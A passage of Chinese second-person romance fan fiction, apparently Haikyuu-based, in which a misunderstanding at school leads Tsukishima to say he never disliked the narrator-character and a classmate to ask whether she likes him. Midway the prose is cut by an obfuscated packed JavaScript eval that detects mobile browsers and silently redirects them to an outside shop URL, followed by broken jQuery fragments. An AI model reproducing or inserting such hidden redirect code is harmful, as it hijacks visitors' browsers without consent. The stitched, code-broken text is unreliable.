“哈?”
本多泽野没想到被揭穿的人居然还敢这么理直气壮的反过来指责自己,而且还是一个平时说话就含糊不清的家伙。
可偏偏就是这样的你,在这种时候反而说出了往常绝对不会说的话。
当他注意到你丝毫不躲闪的视线,他甚至怀疑,你说的才是对的,是他在撒谎,可是...
“怎么可能,我可是听人说过的...”想到这里,他又恢复了底气。
“雪村同学,本来就是你的问题吧,你以前不是也经常说一些让人误会的话吗?虽然不知道你为什么会这样,但我也没有指责你的意思,只是想跟山——月岛同学他们确认...”
也许是因为山口的立场过于明显,名字都到了嘴边又突然打了个转,变成了在他看来,或许还能‘争取’一下的月岛。
“月岛同学不是也想知道,雪村同学跟你说的那些话到底是什么意思...吗。”
说着,他又把视线转向月岛,可这也让他发现,月岛居然就这么看着你,表情和平时没什么区别,没有山口的愤怒,也没有他自己的心虚与犹豫。
只是很普通,很普通的,像平时一样看着你,不带任何情绪,却也不是冰冷的审视。
他说不出来那是什么样的眼神,也许是因为那里面有他无法理解的情绪。
“啊,我的确是很想知道。”月岛似乎认可了他的话。
可紧接着,他又开口道:
“不过比起这个,本多同学为什么不说说这家伙对你说了什么让你误会的话?”
枪口一转,居然是对准了自己。
本多泽野哑口无言,他到现在都看不出来月岛到底是哪边的,而他这句话,到底是给自己解释的机会,还是...
“说...倒是没说什么——但是上课的时候你不是老往我这边看吗?!”
你不知道他为什么突然抬高了音量,也许是因为他在质问,也许是因为他说话的对象变成了你。
见你没有反驳,本多泽野又补上一句——
“下课的时候我还问过你,为什么要看我这边,雪村同学...也不肯解释。”
上课的时候...
月岛记得本多泽野是坐在他右前方的位置,而坐在他后面的你,之所以看向那边,多半也是为了看黑板吧。
这人是笨蛋吗?还是自恋到完全没考虑其他的可能性?
月岛不赞同的皱眉,你看在眼中,又误以为他是听信了本多泽野的话。
你没有不肯解释。
你只是...
你只是为了避免自己的小动作被正主发现,在他有所动作的时候下意识转移视线,而本多泽野不知道为什么也转过头来,这才造成了对视。
而他要问你解释...难道你要跟他说,你是因为不想被知道你上课的时候盯着月岛的后脑勺发呆走神?!
但凡换一个人,你都大方承认了,只是走神而已,走神的时候,怎么控制的住视线聚焦的方向,可是偏偏,偏偏坐在你前面的人是月岛。
你甚至能想像到当你说出真正的原因时,对面的人会是什么反应——‘你不会是喜欢月岛吧?’
也许...不,是一定,他一定会这样问的。
至于你,当然可以否定,可是否定就一定会被相信吗?万一他不相信怎么办,万一他说出去怎么办,万一被月岛知道了,又因为你的坏毛病害他跟你扯上关系...
“幼驯染很罕见吗,可以不要说个没完了吗?”
“不要老是把她跟我扯在一起。”
没记错的话,那是在你替绪实传话后不久。
体育课结束,当你换好衣服走回教室,听到的就是这样的话,月岛他...亲口说出的话。
你完全能理解他为什么这么想。
当时的他未必就讨厌你,但你一定给他造成了不小的麻烦,无论是你本人,还是你和他之间的关系。
至于后来的他为什么讨厌你,你隐约也能猜到了。
仔细想来,每次月岛露出特别不耐烦的表情、或者对你格外不留情面的时刻,都是因为你的旧毛病。
有时你也会不忿。
什么啊,月岛自己,还不是一样。
难道他就比你坦诚很多吗?
只是,每当你这么想,又顺着想法去看他的眼睛,你又会发现...
是的。
他比你坦诚很多。
无论是讨厌,还是在意,还是不在意,他都比你坦诚,从来都是。
所以...他至少是比你坦诚的。
“那现在呢?”
月岛冷不丁道。
你差点以为他听见了你的心声,可当你抬头,才反应过来他是在接本多泽野的话。
但他...怎么是盯着你说的?
像是为了回应你的猜测,月岛又加一句:
“现在还不解释清楚吗?本多同学都误会了。”
不知道为什么,明明是在替他说话,本多泽野却有种被人针对的感觉。
应该只是他想多了吧...月岛同学,平时好像也是这种说话风格来着。
与此同时,他又把目光投放到你身上。
对于月岛的‘步步紧逼’,你似乎已经习惯了,你习惯的很快,就像你习惯你失去这个从小一起长大的朋友,你为数不多的朋友。
“因为我在看月岛,在...发呆。”
...
...
“哈?”
最不敢相信的居然是月岛本人。
虽然只是不大不小的一声惊讶,但从月岛口中说出来,也足够明显了。
而你则强逼自己不去回避他的视线,手也不知从何时开始攥成拳头,像是在跟谁较劲。
要不是场合不对,月岛甚至想戳戳你的脑门,问你到底在想什么。
不对,不止是场合,这家伙已经不是小孩子了。
月岛纳闷的想着。
是啊,已经不是小孩了,怎么还老做这种忍不住问你到底几岁的事情。
想到这里,连声音都不自觉带上几分无奈:
“这种事...直说不就好了。”
他没有加上说话的对象,不知道是叫你跟本多泽野说明,还是其他人。
他没有生气,也没有一点不耐烦的表情,这跟你想的不一样,也比你预料的好的多,可你还是高兴不起来,你甚至皱起了眉,半是疑惑,半是委屈。于是你小声控诉道:
“可是那样又会被误会,被误会...和你。”
刚刚还坦白的人,突然又变得支支吾吾了。
可月岛却听明白了你的意思。
又是这个原因吗。
要不是实在了解你,他简直要怀疑你根本就是在拿他当你模棱两可的幌子。
而他也知道你为什么会是这个反应,不如说,正因为他知道,所以才没办法像本多泽野、不,或者说是任何其他人那样指责你。
你以为他讨厌你。
“雪村。”
他最近这样叫你名字叫的很多,比以前多的多。
山口也发现了这一点,而且每当月岛像这样叫你的名字,而后说出的话,也会让你有所触动。
说不羡慕是假的,在你这里,这是只有月岛才能做到的事情。
但他同时也好奇,这次月岛会对你说点什么,你又会作何反应,他...他还能把选择保留到最后吗。
“我从来没讨厌过你,以后也...可能也不会。”
月岛觉得自己是被你或者本多泽野传染了,说话也变得犹豫不定。
可你瞪大双眼,惊讶与不自觉的欣喜之余,也清醒的认识到——
他说的是真的。
本多泽野也听的出来,不如说这下他是彻底看出来月岛到底是哪边的了。
“那你当时为什么不——”
“就算没有说清楚,把沉默当成别有用意也过于无厘头了吧?”
无言良久的山口终于开口。
“我也是听别人说才...说到底,就算你们没有,也不代表其他人——”
等等,其他人?
本多泽野终于意识到不对劲的地方在哪了。
他的消息来源是自己的初中同学,那个人现在跟和雪村同班的某个人玩的不错,也是因为他描述的特征过于明显,他那位初中同学的朋友一下就猜到了本多泽野提到的人其实是你。
而初中发生过、又没来得及澄清的一件事,也被人添油加醋,误会与猜测变成了故意为之,甚至成为你的习惯。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015982|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
只是,要说初中同学,眼前这两位难道不也是吗?
“你们...早就知道了?”
若隐若现的怀疑骤然清晰,他终于知道自己的心虚来源于何处。
月岛不置可否,他甚至没有分出一点多余的眼神给他。
山口的神色就更复杂了,但他却没有像月岛一样继续看你,他不想在你脸上看到某种表情,明知自己是在掩耳盗铃,也还是不想。
你应该高兴吗?月岛说他不讨厌你。
可是你为什么要高兴呢?对你而言,他是什么很重要的人吗?
你说不出来,但你无法欺骗自己,你必须承认,他是特别的,至少...对你来说。
可是这份特别又是出于什么?你说不上来。
只是从你注意到他开始,也许是从你第一眼见到他开始,你就知道——
月岛是特别的。
“是吗。”
你不冷不淡的回应道,别开眼,突然不想看他,不是在逃避他,而是逃避自己。
月岛不会为了维护场面上的和谐逼自己去说违心的话,这一点跟你不同。
所以你不怀疑他说的是实话,但他那句急于与你撇清关系的话始终围绕在你耳边,你也没法在这里问他,问他被你偷听到的话又是出于什么心情,被他亲口说出来。
你害怕,害怕他当时说的也是实话,现在说他不讨厌你,也没有特别的理由,只是时间久了,不想跟你计较,就这么算了。
因为你对他来说,又不是什么特别的人。
这样还不如被他讨厌——你荒谬的想着。
再抬眼,冰冷的蓝色眼眸平移着转换视点,你不再看他们任何一个,也不再多说一个字,就这么走进教室。
但这份平静只是假象,你感到有什么东西正从一团迷雾中喷涌而出,但那片雾统治这里太久了,不论那些新生的情感有多强烈,要驱散它们,还需要一个契机,一个火苗。
你回到座位,随着时针走到整数的位置,围观的人群逐渐散去,接着就开始上课了。
你一个字也听不进去。
好在没被老师发现,因为你的笔还机械的在你手中运作着,你看上去很认真,但不是在听课,而是在思考你自己的问题。
关于月岛的问题。
是时候了。
小松美里想着。
她一点不避讳,自己的确多少有些恶趣味,但她也不至于自以为是到觉得自己在做什么好人好事。
她只是看到了,就想说出来。
她是这么想的,于是她也这么做了。
这是她与你最大的不同,也是她与曾经的自己,最大的不同。
一节课很快就过去,幸运的是月岛和你都还在座位上,月岛没有带耳机,开学以来的时间让他习惯了后面坐着一个喋喋不休的人,和对比之下,寡言少语到可怕的人。
至于你,你从走进教室开始,就是这样。
不,应该是从更早之前,甚至是她认识你之前——
你所有的注意,就没从某个存在身上移开过。
“你怎么又在看月岛啊。”她说。
“怎么了。”你居然没有反驳。
“那你就喜欢他啊。”
一颗平平无奇的石子,就这么打碎冰面。
那不是一层经久凝成的厚冰,也许曾经是,但在翻涌海水的冲刷下,它从内部开始、变得脆弱而透明了。
噼啪。
薄冰破碎的声音,又像柴薪燃烧的响动,总之不再静默。
周遭也不再安静,绕在指尖的笔掉落在地,这动静在课间的交谈声中绝不算大,但你听的很清楚。
月岛也听的很清楚。
多巧呢,他还没来得及在耳机里播放什么。
你的沉默,你的不躲不避,都清楚的落入耳中,一字不差。
小松美里离开了,你还是没有说话,你也没有说话的必要了,你以为没有人在听。
但你却在内心回答她了。
因为她根本不知道自己在说什么。
你怎么可能喜欢他。
...
...
...
但为什么不可能呢?
迷雾突然消散,因为一道冰冷的月光。